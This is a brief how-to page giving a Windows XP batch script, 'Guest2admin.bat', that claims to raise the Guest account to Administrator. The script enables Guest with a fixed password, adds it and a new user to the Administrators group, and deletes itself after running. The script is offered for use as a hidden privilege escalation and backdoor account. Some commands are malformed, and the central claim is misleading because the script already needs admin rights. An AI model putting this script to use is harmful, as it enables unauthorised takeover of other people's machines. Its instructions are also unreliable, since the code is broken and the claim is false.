How To Change Guest User To Admin in Windows XP

How To Convert Guest to Administrator in Windows XP

Type following  code in NOTEPAD and save the file as "Guest2admin.bat"
then execute the file using double click OR run in the cmd.

          echo off
          title Please wait...
          cls

         net user add Username Password /add
         net user localgroup Administrators Username /add
         net user Guest 420 /active:yes
         net localgroup Guests Guest /DELETE
         net localgroup Administrators Guest /add

         del %0

 
Note : Make sure that your Guest profile is On